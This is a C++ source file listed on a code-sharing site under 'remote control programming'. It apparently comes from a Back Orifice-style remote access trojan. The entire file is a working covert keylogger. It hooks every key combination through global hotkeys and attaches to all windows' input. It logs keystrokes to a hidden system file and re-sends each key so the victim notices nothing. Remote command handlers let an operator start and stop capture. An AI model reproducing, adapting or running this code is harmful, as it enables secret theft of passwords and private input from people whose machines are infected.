cmd_keylogging_hotkey.cpp
上传用户:jinandeyu
上传日期:2007-01-05
资源大小:620k
文件大小:4k
源码类别:

远程控制编程

开发平台:

WINDOWS

  1. #include<windows.h>
  2. #include<osversion.h>
  3. #include<functions.h>
  4. #include<iohandler.h>
  5. #include<encryption.h>
  6. #include<commandloop.h>
  7. #include<bocomreg.h>
  8. #include<dumppw.h>
  9. #include<cmdcmd_keylogging.h>
  10. extern HMODULE g_module;
  11. BOOL g_bLogging=FALSE;
  12. HWND g_hwndCap=NULL;
  13. HANDLE g_hCapFile=NULL;
  14. DWORD g_dwKeyCapTID;
  15. HANDLE g_hKeyCapThread;
  16. BOOL CALLBACK EnumWndAtch(HWND hwnd, LPARAM lParam)
  17. {
  18. if(hwnd!=g_hwndCap) {
  19. DWORD dwTid,dwPid;
  20. dwTid=GetWindowThreadProcessId(hwnd,&dwPid);
  21. AttachThreadInput(dwTid,g_dwKeyCapTID,lParam);
  22. }
  23. return TRUE;
  24. }
  25.  
  26. DWORD WINAPI KeyCapThread(LPVOID param)
  27. {
  28. MSG msg;
  29. g_bLogging=TRUE;
  30. g_hwndCap=CreateWindowEx(WS_EX_TRANSPARENT,"WSCLAS","",WS_POPUP,0,0,0,0,NULL,NULL,g_module,0);
  31. if(g_hwndCap==NULL) return -1;
  32. g_hCapFile=CreateFile((char *)param,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM,NULL);
  33. if(g_hCapFile==INVALID_HANDLE_VALUE) {
  34. DestroyWindow(g_hwndCap);
  35. g_hwndCap=NULL;
  36. return -1;
  37. }
  38. SetFilePointer(g_hCapFile,0,NULL,FILE_END);
  39. // Do nasty keycaptures
  40. int alt,vk;
  41. for(alt=0;alt<16;alt++) {
  42. for(vk=0x5;vk<=0x5D;vk++) {
  43. RegisterHotKey(NULL,1000+(alt*0x100)+vk,alt,vk);
  44. }
  45. }
  46. // Gimme all the input states
  47. EnumWindows(EnumWndAtch,TRUE);
  48. while(g_bLogging) {
  49. while(PeekMessage(&msg,NULL,0,0,PM_NOREMOVE)) {
  50. GetMessage(&msg,NULL,0,0);
  51. if(msg.message==WM_HOTKEY) {
  52. int nScan,vKey;
  53. char svBuffer[256];
  54. DWORD dwBytes,dwCount;
  55. vKey=(UINT)HIWORD(msg.lParam);
  56. nScan=MapVirtualKey(vKey,0);
  57. nScan<<=16;
  58. dwCount=GetKeyNameText(nScan,svBuffer,256);
  59. if(dwCount) {
  60. if(dwCount==1) {
  61. BYTE kbuf[256];
  62. WORD ch;
  63. int chcount;
  64. GetKeyboardState(kbuf);
  65. chcount=ToAscii(vKey,nScan,kbuf,&ch,0);
  66. if(chcount>0) WriteFile(g_hCapFile,&ch,chcount,&dwBytes,NULL);
  67. } else {
  68. WriteFile(g_hCapFile,"[",1,&dwBytes,NULL);
  69. WriteFile(g_hCapFile,svBuffer,dwCount,&dwBytes,NULL);
  70. WriteFile(g_hCapFile,"]",1,&dwBytes,NULL);
  71. if(vKey==VK_RETURN) WriteFile(g_hCapFile,"rn",2,&dwBytes,NULL);
  72. }
  73. }
  74. // Now resimulate
  75. UnregisterHotKey(NULL,msg.wParam);
  76. keybd_event((UINT)HIWORD(msg.lParam),nScan,0,0);
  77. RegisterHotKey(NULL,msg.wParam,(UINT)LOWORD(msg.lParam),(UINT)HIWORD(msg.lParam));
  78. }
  79. DispatchMessage(&msg);
  80. }
  81. Sleep(0);
  82. }
  83. // Unregister nasty keycaptures
  84. for(alt=0;alt<16;alt++) {
  85. for(vk=0x5;vk<=0x5D;vk++) {
  86. UnregisterHotKey(g_hwndCap,1000+(alt*0x100)+vk);
  87. }
  88. }
  89. // Gimme all the input states
  90. EnumWindows(EnumWndAtch,FALSE);
  91. DestroyWindow(g_hwndCap);
  92. g_hwndCap=NULL;
  93. CloseHandle(g_hCapFile);
  94. g_hCapFile=NULL;
  95. g_hKeyCapThread=NULL;
  96. return 0;
  97. }
  98. int CmdProc_SysLogKeys(CIOSocket *cios_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  99. {
  100. if(g_bLogging==TRUE) {
  101. IssueCommandReply(cios_from, comid, 0, "Logging is already turned on.n");
  102. return -1;
  103. }
  104. g_hKeyCapThread=CreateThread(NULL,0,KeyCapThread,(LPVOID)svArg2,0,&g_dwKeyCapTID);
  105. if(g_hKeyCapThread==NULL) {
  106. IssueCommandReply(cios_from, comid, 0, "Error creating capture thread.n");
  107. return -1;
  108. }
  109. IssueCommandReply(cios_from, comid, 0, "Key logging started.n");
  110. return 0;
  111. }
  112. int CmdProc_SysEndKeyLog(CIOSocket *cios_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  113. {
  114. if(g_bLogging==FALSE) {
  115. IssueCommandReply(cios_from, comid, 0, "Logging is not turned on.n");
  116. return 0;
  117. }
  118. g_bLogging=FALSE;
  119. if(WaitForSingleObject(g_hKeyCapThread,5000)!=WAIT_OBJECT_0) {
  120. IssueCommandReply(cios_from,comid,0,"Logging couldn't stop in 5 sec.n");
  121. return -1;
  122. }
  123. IssueCommandReply(cios_from,comid,0,"Logging stopped successfully.n");
  124. return 0;
  125. }